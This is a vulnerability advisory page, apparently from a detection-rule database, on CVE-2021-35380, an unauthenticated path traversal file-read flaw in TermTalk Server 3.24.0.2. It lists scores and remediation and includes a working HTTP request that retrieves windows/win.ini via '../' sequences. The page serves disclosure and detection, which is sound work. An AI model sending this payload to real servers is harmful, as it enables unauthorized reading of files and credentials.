🔙 목록으로 돌아가기

CVE-2021-35380: TermTalk Server 3.24.0.2 - Local File Inclusion

TitleTermTalk Server 3.24.0.2 - Local File Inclusion
Authorfxploit
SeverityHigh
ImpactSuccessful exploitation of this vulnerability can lead to unauthorized access to sensitive information, including configuration files, credentials, and other sensitive data.
RemediationApply the latest patch or upgrade to a non-vulnerable version of TermTalk Server.
CVSS Score7.5
EPSS Score0.73487
CVE IDCVE-2021-35380
CWE IDCWE-22
Tags cve2021 cve termtalk lfi unauth lfr edb solari vuln

🔍 Vulnerability Description

TermTalk Server (TTServer) 3.24.0.2 is vulnerable to file inclusion which allows unauthenticated malicious user to gain access to the files on the remote system by providing the relative path of the file they want to retrieve.

🌐 HTTP Request

GET /file?valore=../../../../../windows/win.ini HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 Version/15.1 Safari/605.1.15
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-35380.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-35380.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A